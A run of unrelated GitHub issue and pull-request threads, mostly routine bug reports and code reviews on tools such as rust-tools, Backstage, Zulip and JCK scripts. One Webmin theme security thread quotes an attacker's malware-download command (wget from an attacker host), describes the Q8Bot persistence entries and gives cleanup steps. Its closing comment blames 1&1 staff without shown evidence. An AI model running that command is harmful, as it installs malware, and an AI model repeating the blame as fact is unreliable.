thanks @donnes but it doesn't seem to work as expected. I had to make few tweaks but still having issues, it allows me validates the first time I click on each radio button but then it doesn't do anything...


Skip constraint test on firefox <42 (fixes travis regression)

Fixes failures on https://travis-ci.org/webrtc/adapter/jobs/71994516#L414 which were introduced by https://github.com/DamonOehlman/travis-multirunner/pull/7
The problem is that firefox's fake devices don't (yet) support constraints, and there's no way to turn off fake devices Firefox <42.
The test still runs on 42+ and on Chrome.

LGTM after you fix the errors (lines 97 and 109 exceed 80 char in test/tests.js).


[Zydis] update to <4.0.0> :)

Library name: Zydis
New version number: 4.0.0
Other information that may be useful (release notes, etc...):
https://github.com/zyantific/zydis
Most examples are not compatible with the current version of Zydis that is available on vcpkg

Duplicate of https://github.com/microsoft/vcpkg/issues/28301


Explore Page: Instant Loading

Is your feature request related to a problem? Please describe.
New UX/UI does not need to pull any data so we can remove the calls we have in V1.0 like # of seeds available, planted balance, etc.
Describe the solution you'd like
Explore Page should instantly load when the user selects via bottom navigation.
See UX/UI here:
https://github.com/JoinSEEDS/seeds_light_wallet/issues/910
Additional context
Add any other context or screenshots about the feature request here.

Should we show a local loading (on the DHO card) or does it only appear suddenly once loaded if it is a DHO member or not?

If a loading is shown in that part, users who are not DHO members will wonder what that loading is always shown there.
Same if there is a error fetching the is a DHO member or not.

@RaulUrtecho let's leave it the same as in V1
The DHO card loads silently in the background
Users who are not DHO members never see anything about a DHO card
Users who are DHO members will suddenly see the DHO card appear
We can store / cache whether or not someone is a DHO member later, but for this PR, maybe only the 2 above.
Explore state should use save state mixin.


Remove search/completion from protocol

Suggestions are now inferred fully on the GUI side based on the responses to fetch suggestions' DB.
The logic within LS is also non-trivial and it would beneficial to not bother maintaining it.

Done by @hubertp when he removed SQLite dependencies.


Run :RustViewCrateGraph failed

HI @simrat39
Thanks for this useful plugin.
I got an issue.
cd tmp
cargo new hello_cargo
cd hello_cargo
nvim src/main.rs

and run :RustViewCrateGraph command.

:RustViewCrateGraph  doesn't work well.
Some Info
rust-tools.nvim: eb6ac6ca69ec76fb5fde75d421022f6fd474629f
NVIM v0.6.0-dev+355-g187e3a3b7raph. This may take a while...
Build type: Release
LuaJIT 2.1.0-beta3
cargo 1.48.0 (65cbdd2dc 2020-10-14)
rust: stable 1.55.0 (bottled), HEAD
macOS Big Sur Version 11.6 with XQuartz installed.
nvim for rust config
-- setup rust-tools
local capabilities = vim.lsp.protocol.make_client_capabilities()
capabilities.textDocument.completion.completionItem.snippetSupport = true
capabilities.textDocument.completion.completionItem.resolveSupport = {
  properties = {
    'documentation',
    'detail',
    'additionalTextEdits',
  }
}
capabilities = vim.tbl_extend('keep', capabilities or {}, lsp_status.capabilities)

capabilities.experimental = {}
capabilities.experimental.hoverActions = true

local opts = {
    tools = {
      autoSetHints = true,
      hover_with_actions = true,
      runnables = {
          use_telescope = true
      },
      debuggables = {
          use_telescope = true
      },
      inlay_hints = {
          show_parameter_hints = true,
          parameter_hints_prefix = "<-",
          other_hints_prefix  = "=>",
      },
      hover_actions = {
        border = {
          {"╭", "FloatBorder"}, {"─", "FloatBorder"},
          {"╮", "FloatBorder"}, {"│", "FloatBorder"},
          {"╯", "FloatBorder"}, {"─", "FloatBorder"},
          {"╰", "FloatBorder"}, {"│", "FloatBorder"}
        },
        -- whether the hover action window gets automatically focused
        auto_focus = true
      },
      crate_graph = {
        -- Backend used for displaying the graph
        -- see: https://graphviz.org/docs/outputs/
        -- default: x11
        backend = "x11",
        -- where to store the output, nil for no output stored (relative
        -- path from pwd)
        -- default: nil
        output = nil,
        -- true for all crates.io and external crates, false only the local
        -- crates
        -- default: true
        full = true,
        -- enabled_graphviz_backends = {
        --   "bmp", "cgimage", "canon", "dot", "gv", "xdot", "xdot1.2", "xdot1.4",
        --   "eps", "exr", "fig", "gd", "gd2", "gif", "gtk", "ico", "cmap", "ismap",
        --   "imap", "cmapx", "imap_np", "cmapx_np", "jpg", "jpeg", "jpe", "jp2",
        --   "json", "json0", "dot_json", "xdot_json", "pdf", "pic", "pct", "pict",
        --   "plain", "plain-ext", "png", "pov", "ps", "ps2", "psd", "sgi", "svg",
        --   "svgz", "tga", "tiff", "tif", "tk", "vml", "vmlz", "wbmp", "webp", "xlib",
        --   "x11"
        -- }
      }
    },
    server = { -- setup rust_analyzer
      on_attach = lsp_on_attach,
      capabilities = capabilities,
    },
    -- dap = {
    --   adapter = {
    --     type = 'executable',
    --     command = 'lldb-vscode',
    --     name = "rt_lldb"
    --   }
    -- }
}

require('rust-tools').setup(opts)
-- setup rust-tools end

If my config or something is wrong, please let me know.
Thank you.

I'm guessing the x11 backend is not supported on mac os. Try changing it to something else in the config.

Hi there. @simrat39 I have the same issue. I tried changing my config to:
backend = "jpg",

for instance, but it'll still force it to x11, receiving the same error message as above (Format: "x11" ...).
Would it be possible that the option is not used (maybe a bug)?


Single click no longer opening files

It appears that after updating to the latest version (1.7.1), single clicks on files no longer open them when the Allow Pending Pane Items configuration is disabled.  So essentially what this means is single clicks no longer have any value for those of us who do not want files to be previewed.
May not sound like much, but for many of us, double clicking to open files isn't desirable.
Running Atom 1.7.1 on Mac OS.

The Atom team has decided that opening files via single-click when pending pane items are disabled will no longer be supported.  Please see https://github.com/atom/tree-view/pull/804#issuecomment-211542906 for the full comment.


Feature/themes

Theme system is ready and implemented on front page and project pages.
NOTE: Ina color theme is hard-coded to be on all project pages right now since hers is the only one currently in there. This can be easily changed later once we figure out the database ID's for each guild.
Hard-coding does however fix a color flash issue, where the base style is loaded for a split second before project data is loaded.
Colors can be adjusted in /styles/globals.css
--color-background-1 => body background
--color-background-2 => navbar / header / footer background
--color-card                => Card background
--color-primary-1       => text headers / card border / slider (in darkmode) / misc
--color-secondary-1   => buttons
Colors can be adjusted by reducing their opacity (currently text headers horizontal line is primary-1 but low opacity)

Wait for #59 before merging


recycle items in cascading way

Please Note (you may remove this section before opening your PR):
We receive lots of PRs and it is hard to give proper review to PRs. Please make it easy on us by following these guidelines:

We do not accept changes to master. Please make sure your pull request is aimed at dev.
If you changed a bunch of files (that aren't config files) or multiple workers to implement your feature, it probably won't get proper attention. Please split it up into multiple, smaller, more focused, and iterative PRs if you can.
If you are adding a config value to something, make sure you update the appropriate config.json example files.

Short Description:
Enhance the recycle function so that it will consider the total number in a category. If set to keep the maximum of balls as 100. When the total balls excess 100, it will recycle Pokeball, then Greatball, then Ultraball. This function can apply to pokeball, berries, potions & revives
Fixes (provide links to github issues if you can):

:+1:
Sorry for your trouble, I hope we’re gonna see more PR from you !


Production deploy #31

Regenerate url slug when a job listing is updated to resolve issue with URL not matching job title
Add support for future payscales and rake task set start date for existing payscales
Fix issue with authorisation service response code (check against string not integer)
Adds Sign in decision point (in Staging 'Milton Keynes' will be presented to allow testing of DfE Sign In.

@despo do you know how we run the update pay scales task on staging?
At the moment, they don't have a start date so the options look like this:

@robbiepaul MK is the only one who should take you to DFE Sign in (which doesnt currently work on staging), however this is only on for staging so not a blocker for the production release.


Enforce using bash for jck schema scripts on linux

The xjc.sh script is based on ksh minumum syntax and as such will not work with standard "sh".
This PR mandates the use of bash on linux platforms.
The javatest framework launches the scripts via a Java ProcessCommand and as such will not use a shell.
Signed-off-by: Andrew Leonard<EMAIL_ADDRESS>

Fixes: https://github.com/temurin-compliance/temurin-compliance/issues/30

schemagen.sh also has the same problem

@andrew-m-leonard - does this change cause the associated shell scripts to work properly? Is there a grinder link?
In the past, I was able to reproduce the failure on some bash versions (e.g. GNU bash, version 5.0.17(1)-release (x86_64-pc-linux-gnu)), while it worked on some other (e.g. GNU bash, version 4.1.2(2)-release (x86_64-redhat-linux-gnu)).
The failures I'd see are similar to following:
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: -cp: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: /home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/classes::/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/lib/jtjck.jar:/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/lib/javatest.jar: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: ==: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: /home/jenkins/workspace/Test_openjdk8_j9_extended.jck_x86-64_linux_Weekly/openjdk-tests/TKG/test_output_15879658636792/jck-devtools-java2schema-CustomizedMapping_0/20200426-223744-Jck/results/workdir/schemas/CustomizedMapping/property_fields/XmlValue/src05_testCase0003: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: /home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/tests/java2schema/CustomizedMapping/property_fields/XmlValue/src05.java: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 31: /home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: [[: not found
Error: Could not find or load main class com.sun.jck.lib.JaxbCommand

@Mesbah-Alam yes links 46-49: https://ci.eclipse.org/temurin-compliance/view/JCK8/job/Test_openjdk8_hs_sanity.jck_x86-64_linux/46/

@andrew-m-leonard - does this change cause the associated shell scripts to work properly? Is there a grinder link?
I never tried the change you added in this PR, however, in the past, I was able to reproduce the failure on some bash versions (e.g. GNU bash, version 5.0.17(1)-release (x86_64-pc-linux-gnu)), while it worked on some others (e.g. GNU bash, version 4.1.2(2)-release (x86_64-redhat-linux-gnu)).
The failures I'd see are similar to following:
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: -cp: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: /home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/classes::/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/lib/jtjck.jar:/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/lib/javatest.jar: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: ==: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: /home/jenkins/workspace/Test_openjdk8_j9_extended.jck_x86-64_linux_Weekly/openjdk-tests/TKG/test_output_15879658636792/jck-devtools-java2schema-CustomizedMapping_0/20200426-223744-Jck/results/workdir/schemas/CustomizedMapping/property_fields/XmlValue/src05_testCase0003: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 16: [: /home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/tests/java2schema/CustomizedMapping/property_fields/XmlValue/src05.java: unexpected operator
/home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: 31: /home/jenkins/jck_root/JCK8-unzipped/JCK-devtools-8c/linux/bin/schemagen.sh: [[: not found
Error: Could not find or load main class com.sun.jck.lib.JaxbCommand

@Mesbah-Alam it would have also depended on whether you had the default dash sh configured on your machines in question.

Remember that all STF is doing is creating overrides for interview questions which cannot be predetermined in a static .jti file, whether that is because they are dynamic (e.g. hostname / ip address of the test machine) or platform specific (e.g. you might need to prepend 'bash' to a command on some platforms).  That will still need to be done somehow before invoking the javatest harness if something else (other than STF) is used to invoke the harness.


fix: jade icon

I noticed the Jade icon was inheriting the text icon instead of the Jade icon.
Before:

After:

Thanks a lot! I'll merge it soon.


Chore - Move from protobufjs to protoc

Basically a bad idea since protobufjs use js ast that fit perfectly to add helper for use cases


matching namespaced services + restrict to used ports

Fixes #5
Fixes #41
Fixes #42

@adisos , please wait with the review. I found that NetworkPolicies do not include NamespaceSelector when they need to.


XMPP host

Added XMPP host and port settings as well as tests.
Fixes #1022

Thanks! :cake: This will go out sometime tomorrow.

Thanks @kdaigle @lloydwatkin :D


now adds http: before smutty.com links

This should close #442
Test url https://smutty.com/h/smuttymodels/

@metaprime can you post the log? Because it's working fine on my machine

Downloading http://smutty.com/h/smuttymodels/?q=%23smuttymodels&page=1&sort=date&lazy=1
Rip complete, saved to E:\dev\ripme\rips\smutty_smuttymodels

@metaprime can you load smutty.com in a browser? Because besides you being unable to reach the site I have no idea what could be causing the ripper to not work for you

@cyian-1756 I guess I didn't post my reply. Yes, I am able to reach the site.

For me it still says 'no protocol' :(
no protocol: //s.smutty.com/media_smutty_2/e/l/t/e/p/eltetas78-sih0b-d773b8.jpg

@cyian-1756 is there any reason to keep this open? (I think we decided it was not necessary.)

@cyian-1756 is there any reason to keep this open?

I'm not sure. For whatever reason my PR worked fine for me

@cyian-1756 I tried it again and it seems to work fine... I'll merge it.

Merged as https://github.com/RipMeApp/ripme/commit/1214d191874f4bcee87ca7a54b2560349cc23e0a


pm list: Improve experience for convos w/deactivated users

This is kind of an open ended issue to clean up the experience for dealing with PM conversations that were with users that have since been deactivated.
In 2018 we added this commit: 88b4a9f2d7f23e67e91edda420f4ce3058618515
The code has evolved a bit, but the basic pattern is still this:
 73     if (exports.should_expand_pm_list(filter)) {
 74         pm_list.expand();
 75     } else {
 76         pm_list.close();
 77     }

If you have deactivated a user, we basically won't open the PM list.  The idea there is fine, but we still open the compose box (albeit with no pills populated).  Also, we still show that PM conversation in the PM list, so what can actually happen is this:

open conversation with active user (and PM list opens)
see conversation with deactivated user
click on convo with deactivated user
the PM list mysteriously collapses with no explanation

One thing we should possibly do here is just not include deactivated users in the PM list.  But that might be a bit harsh, since you may want to refer to an old conversation with somebody even if you can't send them PMs any more.
Probably the better thing to do here is to just handle deactivated users in whatever code actually opens the compose box.  It seems like this fix is just at the wrong place in the code flow.

@hashirsarwar has this been fixed?  No is OK, I just want to make sure we didn't merge something here and forgot to close this.

@timabbott no, that wasn't fixed. I think my PR was complete but I didn't receive a review for a long time, so I closed the PR. Kindly tell me if you want me to reopen and rebase this.

Yeah, please do.
On Mon, Jun 15, 2020 at 9:03 PM Hashir Sarwar<EMAIL_ADDRESS>wrote:

@timabbott https://github.com/timabbott no, that wasn't fixed. I think
my PR was complete but I didn't receive a review for a long time, so I
closed the PR. Kindly tell me if you want me to reopen and rebase this.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zulip/zulip/issues/13766#issuecomment-644518145, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAU6NWRT5NA4IFW4AT2FJG3RW3VKNANCNFSM4KND3SNA
.

@zulipbot claim


Bug:接口请求错误提示词不正确，始终返回的是框架内置错误

Version
Vben Admin V5
Describe the bug?
接口请求错误提示词不正确，始终返回的是框架内置错误，preset-interceptors.ts 文件97行缺少一个判断。
Reproduction
无
System Info
无

Relevant log output
无

Validations

[X] Read the docs
[X] Ensure the code is up to date. (Some issues have been fixed in the latest version)
[X] I have searched the existing issues and checked that my issue does not duplicate any existing issues.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

client.addResponseInterceptor(
errorMessageResponseInterceptor((msg: string, error: any) => {
// 这里可以自行处理了
const errorMessage = error?.response?.data?.error?.message ?? '';
const status = error?.response?.status;
message.error(msg);
}),
);


Accompli hangs on ssh-add

An accompli setup hangs on the adding the ssh key. I traced this down to line 216 of src/Deployment/Connection/SSHConnectionAdapter.php, the command is ssh-add /JUST/MASKING/SOME/DATA/tmp.key. In the process list of the host I see that process running. The tmp.key file exists.
@jaapromijn works on the particular project and can show you the details if you need to know more.

The problem was solved by including the newlines (\n) in the key configuration. This might not be self-evident, so maybe should be included in the documentation of the SSHAgentTask.

Thanks for your feedback @jaapromijn.


Theme: Security alert - http_user_agent can execute arbitrary code on Webmin login page

they run a command on my server creating lot of processes, could cause a lot of damage...
wget http://ugotownedz.org/mg
code executed can be seen here:
http://puu.sh/p61dm/ac23efbd91.txt
at least i noticed quickly... thanks

Horrible. We aware of it. Please upgrade to the 18.00 - it fixis this issue:
https://github.com/qooob/authentic-theme/issues/467

Do you think it was done by some bots or targeted? It looks like a bot?

Also note that updating Webmin will also correct the issue using an older theme version. More details here:
https://www.virtualmin.com/node/40864

Did you notice it by getting email notifications?

Hey, just finished containing and deleting the shells this thing uploaded. Sure its a bot, all those scripts auto announces on some irc server that they use to manage the botnet.
Fortunately my settings were enough to prevent execution of damaging scripts.
I've got 3 totally blank mails with the usual subject "Webmin login page access alert (**********.com)"  they were empty
Updated it today and noticed strange php process running... attack was yesterday at night.
Thanks for you fast reply!

You're welcome.

Fortunately my settings were enough to prevent execution of damaging scripts.

Isn't Webmin runs as root? How did you prevent it?

The firewall dropped all irc packets so they didnt even got notification of the infection. Also i use customised kernel that prevent execution of most known potential threats that dropped the execution of some steps of the hack (binary execution). Also mid-hard security on php prevented execution of another shells.
Nice try...

Nice.

If ure curious about the payload take a look http://puu.sh/p6aZ7/22f2b964e0.txt i've also found everithing this had done on miniserv.error file.
As i thinked that hack came from unauthenticated mail script, and to be fair i dont know if its a feature of authentic theme, i posted here, but i see this is all webmin related and not theme related so forgive me, i was panicking :)

Hi - we got hit with this as well - at 11:30AM 26/5 Central Australian time - I'd updated to Authentic 18 a couple of hours after this 'doh!'.
A quick way to see if you've been hacked is to look in /dev/shm - if there's 'aaaa' and 'weed' objects then you've got some cleaning to do.
I downloaded the brain.c source and took a look.  Its Q8Bot and compiles as a fake 'bash'.  The guy who is distributing it (or his source) didn't seem to know how it worked - lots of comments about not understanding how bits of it worked.
Anyway, terminate any 'bash' processes that aren't your own shell access.
Delete the shared memory objects (note the creation time).
Remove these lines from /etc/rc.d/rc.local
"/usr/libexec/webmin/aaaa"
"/usr/libexec/webmin/.X0-unix"
Delete the .X0-unix file from that path.
Delete the installer 'mg' from /tmp
Search for anything else modified with the same timestamp as your shared memory objects and decide if they don't belong.
I'll do a bit more checking through the source later.
Craig

:+1: Yeah those canadian kids are just script kiddos. Those messy sources didnt even compile on my machine. They only could execute kind of bot contained on php PK.ico but execution failed since i disabled critical functions (even in the cli interface)
#find / -name *aaaa*
#find / -name *X0-*```

Seems no one of the scripts worked on my setup but that could did severe harm as they goot root priv.

Im setting up a private IPSEC network to access ssh and webmin instead to having it public.

Thak you all

Hi, I have the same problem like clawrie had.
So, if I have lines:
"/usr/libexec/webmin/aaaa"
"/usr/libexec/webmin/.X0-unix"
in: /etc/rc.d/rc.local
that means, my server was hacked? How is this happens?

@sz00gun: the title explains how this was made possible, albeit only ever so briefly.

OK k0nsl, however as clawrie said:

A quick way to see if you've been hacked is to look in /dev/shm - if there's 'aaaa' and 'weed' objects

but I don't have anything there, so I'm not sure... do they have a root access to my server? shall I change all passwords? What's the advise now?

Yeah there was a security issue that some bots took advantage of.
We're giving admins time to patch their servers before we go into more detail about what exactly the security issue is,  However, the security issue can be resolved by either installing Webmin 1.801, or updating to Authentic 18.00.

Thx andreychek, however I was under attack after I installed 1.801 and 18.00. I'm 100% positive, ;( so I have to find the mess from them on my server? did they have a full access to the server? shall I change passwords?

@sz00gun: I would lock down the server completely and investigate exactly what has been compromised. If your server has been compromised it can be next to impossible to detect some infections, so it can often be better to restore a backup that you know is 100% clean.

You may want to post a request over in the Forums at virtualmin.com since what you're seeing now isn't a theme issue.
When posting a new thread there, let us know what the output of "ps auxw" is, along with what distro/version you're using.

Sorry about refloting this issue, just to mention i didn't forget about this issue and went further investigating it. Just want to debunk the origin of this bot attack, it was made by <1&1 Internet> staff members.
Had logs of several attacked servers and a lot of info about what happened and im just putting all evidence together for further actions.
Attack came from internal network of 1&1 usa, network not used by hosting clients, investigated some people working there on linkedin and found matches of nicknames of attackers that were on the IRC botnet control room (taken from the hack code) and 1&1 staff members twitter usernames and other forums.
So if you are looking for cheap crappy hosting, remember this after buying 1&1

Thanks for providing additional information.


Can't drag/drop in iframe

I am having a problem with drag-and-drop functionality in an iframe. After conducting some research, I found a solution using DnDProvider. You can find the link to the solution here:
https://react-dnd.github.io/react-dnd/examples/dustbin/iframe.
Could you please add the context props to the DnDProvider component? Thank you very much.

I'm not sure I understand the issue you are having, but it seems related to #114. I will close this and reference it in that issue.


Add preload for scope functionality to PageTreeReadApi

This avoids many db-roundtrips when loading a menu structure with children.

the preload has to be started manually

the cache is only used for a single request

~the ReadApi object must not be kept across requests~ automatically done by using a request scoped service

Also added dataloader for loading attached document (and avoiding loading documents from non-requested type)

This improves performance for the main page request (that loads menu, breadcrumbs etc) of "one of our customers":
before:
┌─────────┬─────────┬─────────┬─────────┬─────────┬───────────┬────────────┬─────────┐
│ Stat    │ 2.5%    │ 50%     │ 97.5%   │ 99%     │ Avg       │ Stdev      │ Max     │
├─────────┼─────────┼─────────┼─────────┼─────────┼───────────┼────────────┼─────────┤
│ Latency │ 2103 ms │ 4272 ms │ 6460 ms │ 6460 ms │ 3954.9 ms │ 1530.51 ms │ 6460 ms │
└─────────┴─────────┴─────────┴─────────┴─────────┴───────────┴────────────┴─────────┘

after:
┌─────────┬────────┬────────┬─────────┬─────────┬──────────┬───────────┬─────────┐
│ Stat    │ 2.5%   │ 50%    │ 97.5%   │ 99%     │ Avg      │ Stdev     │ Max     │
├─────────┼────────┼────────┼─────────┼─────────┼──────────┼───────────┼─────────┤
│ Latency │ 398 ms │ 793 ms │ 1219 ms │ 1219 ms │ 740.5 ms │ 302.46 ms │ 1219 ms │
└─────────┴────────┴────────┴─────────┴─────────┴──────────┴───────────┴─────────┘

(tested with npx autocannon --header "Authorization: Basic xxxx" --header "Content-Type: application/json" --method POST --input payload https://api-xxx.niko.dev.vivid-planet.cloud:8443/graphql --amount 20 --connections 2

@nsams this PR has too many commits. Did you change target from main to next?

@johnnyomair rebased now correctly.
You should review the individual commits of this PR

Another question: Should preloadNodes support category as well?

difficult but might be possible. Needs a real use case that benefit from this.

Needs a real use case that benefit from this.

The use case I'm thinking of is loading the page tree in the admin, which always filters by category. But maybe it's not necessary there


🐛 Bug Report: GitlabUrlReader not working since undici change

📜 Description
After upgrading to backstage 1.34.0 which includes the undici change it is not possible anymore to use fetchContents with the GitlabUrlReader.
👍 Expected behavior
The call should copy the entire repository
👎 Actual Behavior with Screenshots
Gitlab responds with 406. After further investigation it looks like the sec-fetch-mode: cors header is the root cause which causes gitlab to reject the ../repository/archive request.
This was not the case before updating backstage - I suspect this header wasn't included before.
👟 Reproduction steps

Use gitlab integration:

integrations:
  gitlab:

Run fetchContents with a gitlab repository:

await fetchContents({
        reader: reader,
        integrations: integrations,
        fetchUrl: ctx.input.url as string,
        outputPath: templateDir,
      });

📃 Provide the context for the Bug.

[X] I checked and didn't find similar issue

🏢 Have you read the Code of Conduct?

[X] I have read the Code of Conduct

Are you willing to submit PR?
Yes I am willing to submit a PR!

Wow, the discussions in https://github.com/nodejs/undici/issues/1305 are... Colorful.
If you do feel up to it, we'd love your help attempting:

setting a mode field in each fetch that goes through by passing in a little "wrapper", or
just reverting to node-fetch and adding a comment linking to this issue and explaining why we didn't succeed in using undici just yet

It would be lovely if the first option worked out. But if it's faster and safer to revert, then let's absolutely do that and we can make a patch release for it.

Thanks for the quick reply! Yes I've stumbled upon this thread as well, very colorful indeed.
Regarding the first option: What would be the expected code to execute when the no-cors option is given? As far as I understand undici doesn't allow disabling it for fetch.

Maybe I misread, but from a quick glance it seemed that that setting might actually have an effect (eg something like fetch('url', { mode:.... But I'm not sure.

Sadly the mode flag only sets the value of the sec-fetch-mode header (see this function).
So we either need to go with 2 or 3 as it looks like to be impossible to disable / bypass this behavior.
Regarding the architecture, should this be the default in general for the backend? In that case I could just wrap the global fetch method and inject that option there. Given that non-browser requests (usually) never include cors it would make sense I guess. Also from a developer perspective as it would "just work" the expected way.
Or would you rather prefer to have an explicit 2nd fetch definition that the caller must import? That would somehow work against adr-014 I guess.
Regardless of those options: What would be a good place to add this code to?

Oh, at the top it said

it looks like the sec-fetch-mode: cors header is the root cause

So I thought that would be a viable fix?
Either way, fetchContents ends up calling readTree here on the GitLab URL reader. It calls a [getGitLabRequestOptions function] which sets some properties. My hope was that that one could always forcibly add a mode property to the RequestInit.

we can instead try the diffrent-but-actually-better undici.requests instead of fetch in that class

Yeah, I'm wondering if this is really the way that we want to go anyways, maybe?

Oh, at the top it said

it looks like the sec-fetch-mode: cors header is the root cause

So I thought that would be a viable fix?

The issue is that the header will still be included, just with no-cors as value. Gitlab will reject any request with the sec-fetch-mode header set.

we can instead try the diffrent-but-actually-better undici.requests instead of fetch in that class

Yeah, I'm wondering if this is really the way that we want to go anyways, maybe?

In many places yes I think so. There's nothing holding us to using specifically the fetch API, except familiarity. There's nothing magic about it really.

Gonna ship this in the -next release today, if someone could just do a quick check to make sure it's back to a working state, and then we can fix a patch release over the next few days if it's deemed to be fixed.

One confirmation: https://discord.com/channels/687207715902193673/1319982951672446976/1321057003308716062

Patch is here https://github.com/backstage/backstage/pull/28289

Patch is out, so gonna close this issue, but we should look at moving to unidici.requests most likely then @freben?

Probably best to try to stick to undici yeah if we can since it's truly the embraced library at this point


[2201.2.x] Fix missing quote in completion item for keywords in annotation completions

Purpose

Describe the problems, issues, or needs driving this feature/fix and include links to related issues.

Fixes #37769
Approach

Describe how you are implementing the solutions along with the design details.

Samples

Provide high-level details about the samples related to this feature.

Remarks

List any other known issues, related PRs, TODO items, or any other notes related to the PR.

Check List

[x] Read the Contributing Guide
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[x] Added necessary tests

[x] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

@gayalkuruppu shall we send this to 2201.3.x instead?

@gayalkuruppu shall we do this?

Closing this since in favor of https://github.com/ballerina-platform/ballerina-lang/pull/38043 which was sent to master

Reopened until the PR for 2201.3.x is sent

Sent to 2201.3.x with #38242


TvHeadend plugin skips channels of type "other" - blank guide, no channels

Software versions:
Ubuntu 15.04
Emby 3.0.5621.4
TvHeadend Plugin 1.0.5622.32968
TvHeadend 3.4.28~geb79aee~trusty
Tuner: Kworld UB435-Q on U.S. ATSC frequencies.
Issue Description:
In some cases TvHeaded imports TV channels with a service type field of "Other." This breaks the TvHeadend plugin for Emby, as it does not have a case for handling type "Other." For me this results in Emby displaying no channels or program guide, since the plugin skips all available channels on refresh.
Each skipped channel creates a log entry like this:
2015-05-29 10:33:19.7211 Error - App: [TVHclient] ChannelDataHelper: unkown service type 'Other'.
2015-05-29 10:33:19.7211 Error - App: [TVHclient] ChannelDataHelper: unable to detect service-type from service list:
HTSMessage:
  <dump>
    channelId : 11
    channelNumber : 110
    channelName : ABC
    eventId : 10120
    nextEventId : 10122
    services :
HTSMessage:
  <dump>
    name : Kworld USB/521,028 kHz
    type : Other
  </dump>

,
    tags :
    method : channelAdd
  </dump>

The switch statement where the problem occurs is at line 151 of DataHelper/ChannelDataHelper.cs. I do not know whether services set as type "Other" can always be assumed to be TV channels.

Perhaps this could be solved for edge cases like me by having an advanced setting toggle in the plugin configuration that allows you to import "Other" as TV channels.

Fixed in TVHclient plugin release 1.0.5628.29938.
Forum thread


Increase OPS for some basic functions

I feel that some of the basic functions like holo / entity parenting, setpos, setang and HoloCreate need an OPS boost to avoid newer players from making really bad decisions when coding and causing a lot of un-needed strain on servers, just because there's no real punishment for doing it.
If we raise the OPS of some of these functions so you cannot parent or create 10 holos per tick, I feel players will learn better and more optimized ways to create there chips, plus servers and server owners will have to deal with a lot less un-needed lag, just because some players can't code correctly.
What are your thoughts on this?

I agree with this wigga.

Or, even better;
Can we ditch the OPS system and use the SysTime() as a chips actual usage?  Making a Holo for 33 ticks a second, is only 26 ops, yet it is 76μs.
Doing A = "Hello" + "World" uses 20 ops, but only 9μs.

I agree with the replacement of the OPS system, it does not feel accurate at all; SysTime on the other hand...

Does make sense if its better to know about how much μs a chip uses

I agree

I agree.

I agree

Wow didnt know so many people would agree

Agreed

@Stachura5 @CaptainStumpy @ApplesGmod and @Iska45 all registered today - they're either sockpuppet accounts, or friends that you got to sign up specifically to agree. Please don't just spam with 'I agree', it's not helpful.

A time-based system would be very hard to make reliable - if the server stalls because some other process is doing work, then everybody's E2s would fall over. If we could get how much time they're using as a fraction of how much time the server is using, then that'd be more useful.
It would definitely have benefits, though, and it would cleanly solve the problem of "the op numbers are just picked nearly at random".

Yeah they are some of my server clients.  I was actually hoping for more of a discussion and for them to also explain why, instead of just "I agree.", sorry about that.
What about if the server hangs (Easy to detect) then make a buffer.  If the server hangs for a couple of seconds, then the server has a bigger problem to deal with than some e2's going over quota.

If the idea is a stretch for devs to commit and they are not sure. Why not have two OPS modes. Normal and strict. Very simple the strict one would be as monkstick said and normal would be as it is now. It would solve the problem for anyone who experiences lots of crashing, lag and general laziness when it comes to people doing it an inefficient way. But also leave an option for people who want a more relaxed e2 enviroment for themselves to mess around in.

This is what I use for my server
timer.Create("CheckE2Cpu", .5, 0, function()
    for k, v in pairs(ents.FindByClass("gmod_wire_expression2")) do
		if v.context then
			if v.context.timebench > .003 then
				v.TOOMUCHCPU = (v.TOOMUCHCPU or 0) + 1
				if v.TOOMUCHCPU == 5 then
					v:Error("Expression 2 (" .. v.name .. "): cpu quota exceeded", "cpu quota exceeded")
					v:PCallHook('destruct')
					v.context.timebench = 0
				end
			else
				v.TOOMUCHCPU = 0
			end
		end
    end
end)

Detecting hanging is an interesting feat; on a 66 tick server, there's 15ms
between each frame. In that time, there are source level calculations
(physics), network processing, SENT think hooks, etc that all must
complete, and then it sleeps any remaining time until the next 15ms
